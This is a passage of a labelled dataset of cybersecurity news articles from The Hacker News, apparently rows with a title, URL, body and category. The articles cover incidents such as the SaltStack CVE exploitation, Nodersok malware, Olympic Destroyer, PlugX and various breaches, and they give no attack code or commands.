Tracked as CVE-2020-11651 and CVE-2020-11652, the disclosed flaws could allow an adversary to execute arbitrary code on remote servers deployed in data centers and cloud environments. The issues were fixed by SaltStack in a release published on April 29th.

""We expect that any competent hacker will be able to create 100% reliable exploits for these issues in under 24 hours,"" F-Secure researchers had previously warned in an advisory last week.

LineageOS, a maker of an open-source operating system based on Android, said it detected the intrusion on May 2nd at around 8 pm Pacific Time.

""Around 8 pm PST on May 2nd, 2020, an attacker used a CVE in our SaltStack master to gain access to our infrastructure,"" the company noted in its incident report but added Android builds and signing keys were unaffected by the breach.

Ghost, a Node.js based blogging platform, also fell victim to the same flaw. In its status page, the developers noted that ""around 1:30 am UTC on May 3rd, 2020, an attacker used a CVE in our SaltStack master to gain access to our infrastructure"" and install a cryptocurrency miner.

""The mining attempt spiked CPUs and quickly overloaded most of our systems, which alerted us to the issue immediately,"" Ghost added.

Ghost, however, confirmed there was no evidence the incident resulted in a compromise of customer data, passwords, and financial information.

Both LineageOS and Ghost have restored the services after taking the servers offline to patch the systems and secure them behind a new firewall.

In a separate development, the Salt vulnerability was used to hack into DigiCert certificate authority as well.

""We discovered today that CT Log 2's key used to sign SCTs (signed certificate timestamps) was compromised last night at 7 pm via the Salt vulnerability,"" DigiCert's VP of Product Jeremy Rowley said in a Google Groups post made on Sunday.

In an email conversation with The Hacker News, DigiCert also said it's deactivating its CT 2 log server following the incident but clarified that the other certificate transparency logs, CT 1, Yeti, and Nessie were not impacted.

""On May 3, DigiCert announced that it is deactivating its Certificate Transparency (CT) 2 log server after determining that the key used to sign SCTs may have been exposed via critical SALT vulnerabilities,"" the company said.

""We do not believe the key was used to sign SCTs outside of the CT log's normal operation, though as a precaution, CAs that received SCTs from the CT2 log after May 2 at 5 pm MST should receive an SCT from another trusted log. Three other DigiCert CT logs: CT1, Yeti, and Nessie, are not affected as they are run on completely different infrastructure. The impacts are limited to only the CT2 log and no other part of DigiCert's CA or CT Log systems,""

With F-Secure's alert revealing more than 6,000 Salt vulnerable servers that can be exploited via this vulnerability, if left unpatched, companies are advised to update the Salt software packages to the latest version to resolve the flaws.

",Cyber_Attack
KALI Linux Mailing List Website Hacked Using Heartbleed Vulnerability,https://thehackernews.com/2014/04/kali-linux-mailing-list-website-hacked.html,"When it comes to Digital Forensics, Penetration and Security testing, we mostly relies on Kali Linux distribution (also known as Backtrack), which is designed for security professionals and packed with more than 300 security testing tools.

But Today, Mailing List sub-domain of Kali Linux get hacked and defaced by Libyan hacking group known as 'The GreaT TeAm (TGT)'.

A mailing list is simply a list of email addresses to which the same information is being sent. A discussion list is used to allow a group of people to discuss topics amongst themselves, with everyone able to send mail to the list and have it distributed to everyone in the group. Mailing lists have become a popular way for Internet users to keep up with topics they're interested in.

At the time of writing, The Homepage of Kali Linux mailing list domain was displaying two lists, i.e.
Kali with description ""Hacked By The GreaT TeAm -TGT""
Kali-Dev with description ""Libyan Hackers""
Somehow Hackers managed to exploit some unknown vulnerability, either on Kali Linux web server or in Mailing list software used by Offensive Security team, and posted a Batman movie pic with Greetings text, ""h4x3d by The GreaT TeAm"" and ""Libyan H4x0rz :D"", as shown in the above screenshot.

Hackers have also shared mirror of the defacement attack at Zone-H website.

Update: Hacker told 'The Hacker News' editorial via email that lists.kali.org domain is hosted on https://mailmanlist.net/, who offers an easy web interface for administrators to manage their discussion lists. Hacker claimed that 'Mailman List' website is affected by 'Heartbleed' vulnerability.

He said, ""First I got access to one of the Mailmanlist.net user acount with stolen cookies, collected by exploiting Heartbleed vulnerability and then I searched for other web application vulnerabilities"", that allowed him to extract the administrative username and password of the Kali Malining list account.

Heartbleed vulnerability in OpenSSL is a serious and widespread problem and despite having a team of top Security Researchers, Kali Linux too didn't remain untouched from it.

Update: Kali team tweeted, ""Looks like our inactive, 3rd party, 0 volume mailing list was hacked. DNS entry removed - back to sleep, problem solved.""

",Vulnerability
Serious Smishing vulnerability reported in Samsung Galaxy S4,https://thehackernews.com/2013/06/serious-smishing-vulnerability-reported.html,"Serious security vulnerability was recently discovered on the Samsung flagship Galaxy S4 device, claiming that attackers can use it to silently send text messages.

Qihoo 360 Technology, an antivirus company based in China, said that this particular vulnerability is related to the ""cloud backup"" feature of Galaxy S4, which is not properly protected and can be abused.

This vulnerability was first discovered on June 17 and already reported the issue to Samsung and the company is already in the process of developing an official update to fix the vulnerability.

A rogue mobile application could contain code exploiting the vulnerability to send fraudulent scam text messages ordering premium-rate services, the firm said.

By exploiting the vulnerable cloud backup feature, malware could pretend to be the identity of any contact, friend, relative, or organization when faking phishing SMS messages. When these phishing SMS messages are received, users may be tricked into clicking fraudulent links or disclosing sensitive personal information.

Qihoo recommends S4 users temporarily disable the cloud backup feature when not in use. A temporary fix has also been made by Qihoo 360, and can be deactivated once the security flaw has been patched.

",Vulnerability
Microsoft Warns of a New Rare Fileless Malware Hijacking Windows Computers,https://thehackernews.com/2019/09/windows-fileless-malware-attack.html,"Watch out Windows users!

There's a new strain of malware making rounds on the Internet that has already infected thousands of computers worldwide and most likely, your antivirus program would not be able to detect it.

Why? That's because, first, it's an advanced fileless malware and second, it leverages only legitimate built-in system utilities and third-party tools to extend its functionality and compromise computers, rather than using any malicious piece of code.

The technique of bringing its own legitimate tools is effective and has rarely been spotted in the wild, helping attackers to blend in their malicious activities with regular network activity or system administration tasks while leaving fewer footprints.

Independently discovered by cybersecurity researchers at Microsoft and Cisco Talos, the malware — dubbed ""Nodersok"" and ""Divergent"" — is primarily being distributed via malicious online advertisements and infecting users using a drive-by download attack.

First spotted in mid-July this year, the malware has been designed to turn infected Windows computers into proxies, which according to Microsoft, can then be used by attackers as a relay to hide malicious traffic; while Cisco Talos believes the proxies are used for click-fraud to generate revenue for attackers.

Multi-Stage Infection Process Involves Legitimate Tools


The infection begins when malicious ads drop HTML application (HTA) file on users' computers, which, when clicked, executes a series of JavaScript payloads and PowerShell scripts that eventually download and install the Nodersok malware.

""All of the relevant functionalities reside in scripts and shellcodes that are almost always coming in encrypted, are then decrypted, and run while only in memory. No malicious executable is ever written to the disk,"" Microsoft explains.

As illustrated in the diagram, the JavaScript code connects to legitimate Cloud services and project domains to download and run second-stage scripts and additional encrypted components, including:

PowerShell Scripts — attempt to disable Windows Defender antivirus and Windows update.
Binary Shellcode — attempts to escalate privileges using auto-elevated COM interface.
Node.exe — Windows implementation of the popular Node.js framework, which is trusted and has a valid digital signature, executes malicious JavaScript to operate within the context of a trusted process.
WinDivert (Windows Packet Divert) — a legitimate, powerful network packet capture and manipulation utility that malware uses to filter and modify certain outgoing packets.

At last, the malware drops the final JavaScript payload written for the Node.js framework that converts the compromised system into a proxy.


""This concludes the infection, at the end of which the network packet filter is active, and the machine is working as a potential proxy zombie,"" Microsoft explains.

""When a machine turns into a proxy, it can be used by attackers as a relay to access other network entities (websites, C&C servers, compromised machines, etc.), which can allow them to perform stealthy malicious activities.""


According to the experts at Microsoft, the Node.js-based proxy engine currently has two primary purposes—first, it connects the infected system back to a remote, attacker-controlled command-and-control server, and second, it receives HTTP requests to proxy back to it.


On the other hand, experts at Cisco Talos concludes that the attackers are using this proxy component to command infected systems to navigate to arbitrary web pages for monetization and click fraud purposes.

Nodersok Infected Thousands of Windows Users

According to Microsoft, the Nodersok malware has already infected thousands of machines in the past several weeks, with most targets located in the United States and Europe.

While the malware primarily focuses on targeting Windows home users, researchers have seen roughly 3% of attacks targeting organization from industry sectors, including education, healthcare, finance, retail, and business and professional services.

Since the malware campaign employs advanced fileless techniques and relies on elusive network infrastructure by making use of legit tools, the attack campaign flew under the radar, making it harder for traditional signature-based antivirus programs to detect it.

""If we exclude all the clean and legitimate files leveraged by the attack, all that remains are the initial HTA file, the final Node.js-based payload, and a bunch of encrypted files. Traditional file-based signatures are inadequate to counter sophisticated threats like this,"" Microsoft says.

However, the company says that the malware's ""behavior produced a visible footprint that stands out clearly for anyone who knows where to look.""

In July this year, Microsoft also discovered and reported another fileless malware campaign, dubbed Astaroth, that was designed to steal users' sensitive information, without dropping any executable file on the disk or installing any software on the victim's machine.

Microsoft said its Windows Defender ATP next-generation protection detects this fileless malware attacks at each infection stage by spotting anomalous and malicious behaviors, such as the execution of scripts and tools.

",Malware
PyeongChang 2018 Winter Olympics Opening Ceremony Disrupted by Malware Attack,https://thehackernews.com/2018/02/pyeongchang-2018-winter-olympics.html,"The Pyeongchang Winter Olympics taking place in South Korea was disrupted over the weekend following a malware attack before and during the opening ceremony on Friday.

The cyber attack coincided with 12 hours of downtime on the official website for the Winter Games, the collapse of Wi-Fi in the Pyeongchang Olympic stadium and the failure of televisions and internet at the main press center, leaving attendees unable to print their tickets for events or get venue information.

The Pyeongchang Winter Olympics organizing committee confirmed Sunday that a cyber attack hit its network helping run the event during the opening ceremony, which was fully restored on 8 am local time on Saturday—that's full 12 hours after the attack began.

Multiple cybersecurity firms published reports on Monday, suggesting that the cause of the disruption was ""destructive"" wiper malware that had been spread throughout the Winter Games' official network using stolen credentials.

Dubbed ""Olympic Destroyer"" by the researchers at Cisco Talos, the wiper malware majorly focuses on taking down networks and systems and wiping data, rather than stealing information.

The Talos researchers would not comment on attribution, but various security experts have already started attributing the Olympic Destroyer malware to hackers linked to either North Korea, China or Russia.

According to the analysis by Cisco Talos, the attacker had intimate knowledge of the Pyeongchang 2018 network's systems and knew a ""lot of technical details of the Olympic Game infrastructure such as username, domain name, server name, and obviously password.""

""The other factor to consider here is that by using the hard-coded credentials within this malware it's also possible the Olympic infrastructure was already compromised previously to allow the exfiltration of these credentials,"" researchers said.

The Olympic Destroyer malware drops two credential stealers, a browser credential stealer and a system stealer, to obtain required credentials and then spreads to other systems as well using PsExec and Windows Management Instrumentation (WMI), two legitimate Windows administration tools used by network admins to access and carry out actions on other PCs on a network.

The researchers noted that both built-in tools were also abused by the Bad Rabbit ransomware and NotPetya wiper malware last year.

Once installed, the malware then first deletes all possible ""shadow"" copies of files and Windows backup catalogs, turn off recovery mode and then deletes system logs to cover its tracks and making file recovery difficult.

""Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. The sole purpose of this malware is to perform destruction of the host and leave the computer system offline,"" reads the Talos blog post.

It's difficult to accurately attribute this cyber attack to a specific group or nation-state hackers due to sparse of technical evidence to support such a conclusion as well as hackers often employing techniques to obfuscate their operations.

",Cyber_Attack
Facebook strengthens security with AntiVirus Marketplace,https://thehackernews.com/2012/04/facebook-strengthens-security-with.html,"Facebook strengthens security with AntiVirus Marketplace

Facebook has launched Anti-Virus Marketplace , a new portal to protect the social network's users.Members are being encouraged to download anti-malware programs which they can use at no cost for six months.

Facebook is strengthening its security controls in an attempt to protect its 900 million users from spam and malicious content.Facebook said Wednesday that it will work with Microsoft Corp. and with computer security firms Trend Micro Inc., Sophos, Symantec Corp. and Intel Corp.'s McAfee to provide safeguards on Facebook.

""The Antivirus Marketplace was developed with industry partners to enhance protection for people on Facebook,"" Facebook wrote in a blog post. ""This program will help us provide even better protections to those using Facebook, no matter where they are on the web.""

Facebook's security push comes as social networks become an increasingly popular target for spammers and hackers, as Sophos suggests in a report on the top countries responsible for spam.

Facebook also plans to incorporate the various security firms' URL blacklists into its own anti-spam efforts. The company says the current blacklist limits spam to just four percent of all content posted on Facebook.

",Malware
"Facebook Fined £500,000 for Cambridge Analytica Data Scandal",https://thehackernews.com/2018/10/facebook-cambridge-analytica.html,"Facebook has finally been slapped with its first fine of £500,000 for allowing political consultancy firm Cambridge Analytica to improperly gather and misuse data of 87 million users.

The fine has been imposed by the UK's Information Commissioner's Office (ICO) and was calculated using the UK's old Data Protection Act 1998 which can levy a maximum penalty of £500,000 — ironically that's equals to the amount Facebook earns every 18 minutes.

The news does not come as a surprise as the U.K.'s data privacy watchdog already notified the social network giant in July this year that the commission was intended to issue the maximum fine.

For those unaware, Facebook has been under scrutiny since earlier this year when it was revealed that the personal data of 87 million users was improperly gathered and misused by political consultancy firm Cambridge Analytica, who reportedly helped Donald Trump win the US presidency in 2016.

The ICO, who launched an investigation the Cambridge Analytica scandal in March, said that the data from at least 1 million British citizens was ""unfairly processed,"" and that Facebook ""failed to take appropriate technical and organisational measures"" to prevent the data from falling into the wrong hands.

""The ICO's investigation found that between 2007 and 2014, Facebook processed the personal information of users unfairly by allowing application developers access to their information without sufficiently clear and informed consent, and allowing access even if users had not downloaded the app, but were simply 'friends' with people who had,"" the ICO said confirming the fine.

Besides this, the ICO also stressed that the social network also ""failed to make suitable checks on apps and developers using its platform,"" which eventually expose the personal data of up to 87 million people worldwide, without their knowledge.

In response to the ICO announcement, Facebook noted that the company is reviewing the ICO decision, highlighting its previous admission that Facebook ""should have done more"" to investigate claims about Cambridge Analytica in 2015.

""We are grateful that the ICO has acknowledged our full co-operation throughout their investigation and have also confirmed they have found no evidence to suggest UK Facebook users' data was in fact shared with Cambridge Analytica,"" says a Facebook spokesperson in a statement.

""Now that their investigation is complete, we are hopeful that the ICO will now let us have access to CA servers so that we are able to audit the data they received.""

However, the £500,000 fine is just a drop in the ocean for a company like Facebook that brought in £31.5 billion in global revenue last year.

The penalty could have been much larger had it fallen under EU's General Data Protection Regulation (GDPR), wherein a company could face a maximum fine of 20 million euros or 4% of its annual global revenue, whichever is higher, for such a privacy breach.

Facebook's annual revenue was nearly £31.5 billion in 2017, which could have resulted in a possible fine of £1.26 billion under the GDPR rules. But luckily for Facebook that GDPR came into force in May 2018 after the timing of the Cambridge Analytica scandal.

Last month, the UK's data protection watchdog also issued the maximum allowed fine of £500,000 on credit reporting agency Equifax for its last year's massive data breach that exposed personal and financial data of hundreds of millions of its customers.

",Data_Breaches
"WordPress 4.2.3 Security Update Released, Patches Critical Vulnerability",https://thehackernews.com/2015/07/wordpress-security-update.html,"WordPress has just released the new version of its content management system (CMS), WordPress version 4.2.3, to fix a critical security vulnerability that could have been exploited by hackers to take over websites, affecting the security of its Millions of sites.

WordPress version 4.2.3 resolves a Cross-Site Scripting (XSS) flaw that could allow any user with the Contributor or Author role to compromise a website, Gary Pendergast of the WordPress team wrote in a blog post on Thursday.

Cross-site scripting is actually a vulnerability in the Web applications' code that opens up the target website to attacks. The vulnerability is one of the most favorite and commonly used flaws by cyber criminals.

According to the company, the vulnerability could allow hackers to embed maliciously-crafted HTML, JavaScript, Flash, or other code to bypass WordPress's kses protection by fooling users into executing a malicious script on their computer system.

This, in turn, leads to the collection of users' sensitive data, including cookies stored on their systems.

It is still unknown exactly how websites could be compromised using the flaw, as more details about the vulnerability aren't yet made available by the company.

Update your WordPress CMS Now!

All versions of WordPress from 4.2.2 and earlier are affected by the flaw, but you need not worry about it if you have Automatic Security Updates enabled.

However, if not, you are strongly recommended to update your WordPress CMS to version 4.2.3 as soon as possible.

To Update WordPress, all you need to do is just go to the main WordPress ""Dashboard"", then ""Updates"" and click ""Update Now."" And you are done.

Stay Safe! Stay Tuned!

",Vulnerability
PayPal will Pay Security Researchers for finding Vulnerabilities,https://thehackernews.com/2012/06/paypal-will-pay-security-researchers.html,"PayPal will Pay Security Researchers for finding Vulnerabilities
Payment services provider PayPal will reward security researchers who discover vulnerabilities in its website with money, if they report their findings to the company in a responsible manner.

If you manage to find a security flaw in any of PayPal's products, you may be entitled to a cash reward. ""I'm pleased to announce that we have updated our original bug reporting process into a paid 'bug bounty' program,"" PayPal's Chief Information Security Officer Michael Barrett said in a blog post on Thursday. While Barrett disclosed vulnerability categories, he did not say how much cash the firm will be offering.

PayPal plans to categorize reported bugs into one of four categories:
XSS (Cross Site Scripting),
CSRF (Cross Site Request Forgery),
SQL Injection or
Authentication Bypass
Researchers need to have a verified PayPal account in order to receive the monetary rewards.

""I originally had reservations about the idea of paying researchers for bug reports, but I am happy to admit that the data has shown me to be wrong - it's clearly an effective way to increase researchers' attention on Internet-based services and therefore find more potential issues.""

Marius Gabriel Avram, a security engineer at U.K.-based security firm RandomStorm, looks for vulnerabilities in Web services operated by Google, Facebook, Twitter, Microsoft, eBay, PayPal and other companies that allow security researchers to do so, as long as they report their findings privately and don't cause any damage. It's like a challenge that helps security researchers improve their skills and, in some cases, earn some extra money, Avram said.

Avram found and reported over 10 security issues in PayPal's main and mobile websites during the past two weeks. Some of them were of high severity, he said, adding that PayPal's staff responded every time.

PayPal deserves congratulations for taking this step in the right direction.

",Vulnerability
LINKUP - First Ransomware trojan that modifies DNS settings to mine Bitcoin forcefully,https://thehackernews.com/2014/02/linkup-first-ransomware-trojan-that.html,"Till now we all have heard about the Ransomware malware that encrypts your files or lock down your computer and ask for a ransom amount to be paid in a specified duration of time to unlock it.

Emsisoft has detected a new piece of malware called ""Linkup"", dubbed as ""Trojan-Ransom.Win32.Linkup"" that doesn't lock your computer or encrypts files; rather it blocks your Internet access by modifying the DNS settings, with the ability to turn your computer into a Bitcoin mining robot. Sounds Interesting??

Once the Linkup Trojan is installed in your system, it makes a copy of itself and disables the selected Windows Security and Firewall services to facilitate the infection. Injected poisoned DNS Server will only allow the malware and Bitcoin miner to communicate with the internet.

It display a bogus notification on the victim's web browser, which is supposed to be from the Council of Europe, that accuses you of viewing ""Child Pornography"" and only returns the access of Internet back on the payment of a £0.01 (Euro) fine.

This is unconfirmed that after paying ransom money, the malware will restore the Internet access or not, ""but most likely only a blatant lie"". The Ransom amount is supposed to be paid by the Credit Card with the submission of your personal information, including your Name, DOB and City, as shown:
In addition to blocking your Internet access, Linkup malware also download and install other malware that connect your computer to a Bitcoin mining botnet forcefully, which can combine the computing power of multiple infected computers to earn Bitcoin for whoever is behind the attack.

Emsisoft has detail explanation of the working of malware on their site:
""This combination of ransomware and Bitcoin mining is a new and fascinating development. At this point, however, its functionality is still quite limited as the downloaded jhProtominer only works on 64-bit operating systems. In time, it will be interesting to see if Linkup is modified to download more flexible variants.""
If your computer has been infected, you are advised not to pay ransom money or submit any personal information, rather you can install 'Emsisoft Anti-Malware' to remove the malware and restoring DNS settings to default.

",Malware
Chinese Hackers Implant PlugX Variant on Compromised MS Exchange Servers,https://thehackernews.com/2021/07/chinese-hackers-implant-plugx-variant.html,"A Chinese cyberespionage group known for targeting Southeast Asia leveraged flaws in the Microsoft Exchange Server that came to light earlier this March to deploy a previously undocumented variant of a remote access trojan (RAT) on compromised systems.
Attributing the intrusions to a threat actor named PKPLUG (aka Mustang Panda and HoneyMyte), Palo Alto Networks' Unit 42 threat intelligence team said it identified a new version of the modular PlugX malware, called Thor, that was delivered as a post-exploitation tool to one of the breached servers.
Dating back to as early as 2008, PlugX is a fully-featured second-stage implant with capabilities such as file upload, download, and modification, keystroke logging, webcam control, and access to a remote command shell.
""The variant observed [...] is unique in that it contains a change to its core source code: the replacement of its trademark word 'PLUG' to 'THOR,'"" Unit 42 researchers Mike Harbison and Alex Hinchliffe noted in a technical write-up published Tuesday.
""The earliest THOR sample uncovered was from August 2019, and it is the earliest known instance of the rebranded code. New features were observed in this variant, including enhanced payload-delivery mechanisms and abuse of trusted binaries.""
After Microsoft disclosed on March 2 that China-based hackers — codenamed Hafnium — were exploiting zero-day bugs in Exchange server collectively known as ProxyLogon to steal sensitive data from select targets, multiple threat actors, such as ransomware groups (DearCry and Black Kingdom) and crypto-mining gangs (LemonDuck), were also observed exploiting the flaws to hijack Exchange servers and install a web shell that granted code execution at the highest privilege level.
PKPLUG now joins the list, according to Unit 42 researchers, who found the attackers bypassing antivirus detection mechanisms to target Microsoft Exchange servers by leveraging legitimate executables such as BITSAdmin to retrieve a seemingly innocuous file (""Aro.dat"") from an actor-controlled GitHub repository.
The file, which houses the encrypted and compressed PlugX payload, alludes to a freely available advanced repair and optimization tool that's designed to clean up and fix issues in the Windows Registry.
The latest sample of PlugX comes equipped with a variety of plug-ins that ""provide attackers various capabilities to monitor, update and interact with the compromised system to fulfil their objectives,"" the researchers said. THOR's links to PKPLUG stem from piecing together the command-and-control infrastructure as well as overlaps in the malicious behaviors detected among other recently discovered PlugX artifacts.
Additional indicators of compromise associated with the attack can be accessed here. Unit 42 has also made available a Python script that can decrypt and unpack encrypted PlugX payloads without having the associated PlugX loaders.

",Cyber_Attack
"Facebook CEO Zuckerberg's Twitter, Pinterest accounts Hacked! And the Password was...",https://thehackernews.com/2016/06/facebook-zuck-hacked.html,"The man who runs the biggest social network and continuously implements new security measures to boost its billion users security, himself failed to follow basics of Internet security for his own online accounts.

Yes, I'm talking about Facebook CEO Mark Zuckerberg, who had his Twitter and Pinterest accounts compromised on Sunday.

The hacker group from Saudi Arabia, dubbed OurMine, claimed responsibility for the hack and guess how the group did it?

Thanks to the LinkedIn data breach!

The hackers tweeted that they found Zuck's account credentials in the recent LinkedIn data breach, from which they took his SHA1-hashed password string and then broke it and tried on several social media accounts.

Also Read: Hacker Removed Zuckerberg's Facebook Cover Photo

The group, which has more than 40,000 Twitter followers, then successfully broke into Zuck's Twitter (@finkd) and Pinterest profile and defaced its banners with its logo as well as tweeted out some offensive posts.

Mr. Zuckerberg has not sent a tweet from the account since 2012.

Now, what's more surprising?

Zuckerberg's LinkedIn password was ""dadada"", which he also used for his other online accounts, the group tweeted.

So, this might be another alarm for those who haven't yet changed passwords for their LinkedIn as well as other online accounts that used the same credentials.

In tweets now deleted, the group also claimed to have gained accessed to Zuck's Instagram account, but Facebook confirmed that the group did not access his Instagram account.
""No Facebook systems or accounts were accessed,"" a Facebook spokesperson said. ""The affected accounts have been re-secured.""
Also Read: Palestinian Hacker hacks Zuckerberg's Facebook Timeline

More than 167 Million members' email and password combinations were hacked during a 2012 LinkedIn data breach and had just been posted online. The passwords were encrypted with the SHA1 algorithm with ""no salt"" that made it easier for hackers to crack them.

Like other data breaches, I suggest you change your password immediately, especially if you use the same password for other websites.

",Data_Breaches
"Binance KYC Data Leak — Crypto Exchange Sets $290,000 Bounty On Blackmailer",https://thehackernews.com/2019/08/binance-kyc-data-leak.html,"Malta-based cryptocurrency exchange Binance has become a victim of a ransom demand from a scammer who claimed to have hacked the KYC (Know Your Customer) data of thousands of its customers.

The unknown attacker threatened the world's largest cryptocurrency exchange by volume to release KYC information of 10,000 users if the company did not pay 300 Bitcoins—that's equivalent to almost $3.5 million at today's exchange value.

Although the authenticity of the hack is not confirmed yet, several photos of individuals holding their identity cards, such as passports and voter IDs, have been circulating across different online channels.

In response to the incident, Binance just released an official statement today confirming that ""an unidentified individual has threatened and harassed us, demanding 300 BTC in exchange for withholding 10,000 photos that bear similarity to Binance KYC data.""

Binance said the company is still investigating the legitimacy of those images and has refused to pay the ransom and, as a result, the unidentified individual behind the demand began distributing the data online and to media outlets.
It seems like the attacker has created a Telegram group, which has already attracted over 10,000 people, and shared more than 400 images of people holding passports and identity documents from France, Turkey, the United States, Japan, Russia, and other nations around the world.

However, according to Binance, images posted to the attacker's Telegram group lacks the digital watermark the exchange uses for its internal information, adding doubts about its authenticity.

Binance also adds that its initial review of the leaked images shows they're all appeared to be dated from February of 2018 when the exchange ""contracted a third-party vendor for KYC verification in order to handle the high volume of requests at that time.""

""Currently, we are investigating with the third-party vendor for more information. We are continuing to investigate and will keep you informed,"" the company adds.

""The relevant law enforcement agencies have been contacted, and we will be working closely with them to pursue this person.""

Additionally, the exchange is also offering a reward of 25 bitcoins—worth over $290,000—to anyone who provides information related to the identity of the blackmailer.

Binance CEO Changpeng Zhao has also issued a statement on Twitter urging users not to fall for the ""KYC leak"" FUD (fear, uncertainty, doubt), saying that the company is currently looking into the matter and will update its users shortly.

",Data_Breaches
12 Russian Intelligence Agents Indicted For Hacking DNC Emails,https://thehackernews.com/2018/07/russian-dnc-hack-trump.html,"The US Justice Department has announced criminal indictments against 12 Russian intelligence officers tied to the hack of the Democratic National Committee (DNC) during the 2016 US presidential election campaign.

The charges were drawn up as part of the investigation of Russian interference in the 2016 US presidential election by Robert Mueller, the Special Counsel, and former FBI director.

The indictments against 12 Russian military officers were announced by Deputy Attorney General Rod Rosenstein during a DoJ press conference on Friday—just 3 days before the Russian leader Vladimir Putin is scheduled to meet with President Donald Trump.

All 12 Russian officers are members of the country's GRU military intelligence unit and are accused of carrying out ""large-scale cyber operations"" to hack into DNC network and steal Democrats' emails to influence the 2016 presidential election.

Here's the list of all 12 defendants:

Viktor Borisovich Netyksho
Boris Alekseyevich Antonov
Dmitriy Sergeyevich Badin
Ivan Sergeyevich Yermakov
Aleksey Viktorovich Lukashev
Sergey Aleksandrovich Morgachev
Nikolay Yuryevich Kozachek
Pavel Vyacheslavovich Yershov
Artem Andreyevich Malyshev
Aleksandr Vladimirovich Osadchuk
Aleksey Aleksandrovich Potemkin
Anatoliy Sergeyevich Kovalev

The indictments alleged that the election hacking targeted Hillary Clinton's campaign, DNC and the Democratic Congressional Campaign Committee (DCCC), with an intention to release that information online under the name DNCLeaks.
""The Internet allows foreign adversaries to attack America in new and unexpected ways. Free and fair elections are hard-fought and contentious,"" Rosenstein said. ""There will always be adversaries who work to exacerbate domestic differences and try to confuse, divide, and conquer us.""
However, Rosenstein said the indictments did not allege that the cyberattacks ultimately affected vote count or changed the outcome of the 2016 election.

According to the indictments, Guccifer 2.0, who posed as a lone hacker from Romania and released sensitive documents hacked from the DNC server, and a website that released records under the name DCLeaks was operated by a Russian hacking team known as ""Unit 74455.""

The team allegedly used Bitcoin to purchase purchasing servers (including the one in Malaysia to host the DCLeaks website), registering domains, and otherwise making payments in furtherance of hacking activity.

The indictments include 11 criminal counts:

One count for a criminal conspiracy to commit an offense against the U.S. through cyber operations by the GRU that involved the staged release of stolen documents to interfere with the 2016 presidential election.

Two counts through nine charge aggravated identity theft for using identification belonging to eight victims to further their computer fraud scheme.

Ten counts for conspiracy to launder money in which the defendants laundered the equivalent of over $95,000 by transferring the funds used to purchase servers and fund other costs related to their hacking activities through cryptocurrencies like Bitcoin.

Eleven counts for conspiracy to commit an offense against the U.S. by attempting to hack into the computers of state boards of elections, secretaries of state, and US companies that supplied software and other tech related to the administration of elections.

Although the defendants claimed to be ""American hacktivists"" on the DCLeaks website, the indictments note that no American was a knowing participant in any related activity or knew they were communicating with Russian intelligence officers.
",Cyber_Attack
Proof It's Possible to Hack German Elections; Hackers Tamper with Voting-Software,https://thehackernews.com/2017/09/german-voting-software-hacking.html,"Germany's democracy is in danger, as the upcoming federal elections in the country, where nearly 61.5 million citizens are going to vote on September 24th, could be hijacked.

Hackers have disclosed how to hack the German voting software to tamper with votes and alter the outcome of an election.

Yes, election hacking is no theory—it is happening.

A team of researchers from German hacking group Chaos Computer Club (CCC) has discovered several critical vulnerabilities in PC-Wahl—software used to capture, tabulate and transfer the votes from local polling centres to the state level during all parliamentary elections for decades.

According to the CCC analysis, vulnerabilities could lead to multiple practicable attack scenarios that eventually allow malicious agents in the electoral office to change total vote counts.

Critical Flaws Found In German Voting-Software

The hacker collective found that the automatic software update module of PC-Wahl downloads packages over insecure HTTP connection and does not perform any integrity check using digital signatures.

Moreover, the software uses an older encryption method with a single secret key hard-coded in the software, rather than asymmetrical encryption that offers better security by design.

The Software includes an FTP module that sends the voting results to a central password-protected FTP server, but the researchers believe the password for data sharing has been shared among electoral staff.
""The same access data has always been used for various polling stations and constituencies in Hesse for many years so that an attacker has been able to manipulate the results of all municipalities simultaneously and centrally,"" the research paper [PDF] (translated) reads.
The group has published the proof-of-concept attack tools against the PC-Wahl software with source codes on GitHub.

Software Company Denied Vulnerability Report

According to the German Spiegel magazine, the manufacturer of PC-Wahl had denied the allegations that its software was vulnerable to cyber attacks.

The CCC hacking collective has urged the German government and election commission to take necessary actions to tackle the issues in the election software in order to protect the September 24 election that the group fear could be subject to interference.

In response, German Federal Election Director Dieter Sarreither said he was familiar with the issues discovered by the CCC and had asked state officials and the software company to take necessary steps to address them, Reuters reported.

German federal cyber protection agency, BSI, said the agency had worked closely with election officials and the software manufacturer to improve the security of election results.
""In the future, only information technology based on BSI-certified software should be used for election processes,"" says BSI chief Arne Schoenbohm.
Hacking voting machine is not a new thing. Two months ago, several hackers managed to hack into multiple US voting machines in a short period—in some cases, within minutes—at Def Con.

Election hacking has become a major debate following the 2016 US presidential election, where it was reported that Russian hackers managed to access United States voting machines in 39 states in the run-up to the election. However, there is no evidence yet to justify the claims.

",Vulnerability
Hacker Installed a Secret Backdoor On Facebook Server to Steal Passwords,https://thehackernews.com/2016/04/hack-facebook-account.html,"How to Hack Facebook?

That's the most commonly asked question during this decade.

It's a hacker dream to hack Facebook website for earning bug bounty or for any malicious purpose.

Facebook security team recently found that someone, probably a blackhat hacker with malicious intent, has breached into its server and installed a backdoor that was configured to steal Facebook employees' login credentials.

Since the backdoor discovered in the Facebook's corporate server, not on its main server, Facebook user accounts are not affected by this incident.

Though the company would have never known about the backdoor if a whitehat hacker had never spotted the backdoor script while hunting for vulnerabilities.

Also Read: Ever Wondered How Facebook Decides, How much Bounty Should be Paid?

Security researcher Orange Tsai of Taiwanese security vendor DEVCORE accidentally came across a backdoor script on one of Facebook's corporate servers while finding bugs to earn cash reward from Facebook.

Tsai scanned Facebook's IP address space that led him to the files.fb.com domain that was hosting a vulnerable version of the Secure File Transfer application (FTA) made by Accellion and was used by Facebook employees for file sharing and collaboration.

Tsai analyzed the vulnerable FTA and discovered seven security flaws as he explained in his blog post:
3 Cross-site scripting (XSS) flaws,
2 Remote code execution flaws,
2 Local privilege escalation issues.



The researcher then used the vulnerabilities he found in the Accellion Secure FTA and gained access to Facebook's server.

After successfully achieving his goal, Tsai started analyzing logs information available on the Facebook's server for preparing his bug report, and that is exactly when he spotted a PHP-based backdoor, popularly known as a PHP Web shell, that had possibly been installed on the server by a malicious hacker.

Tsai then reported all of his findings to the Facebook security team, which rewarded him with $10,000 (€8,850) for his efforts and started its own forensics investigation that was completed this month, allowing the researcher to disclose the vulnerabilities responsibly.

",Vulnerability
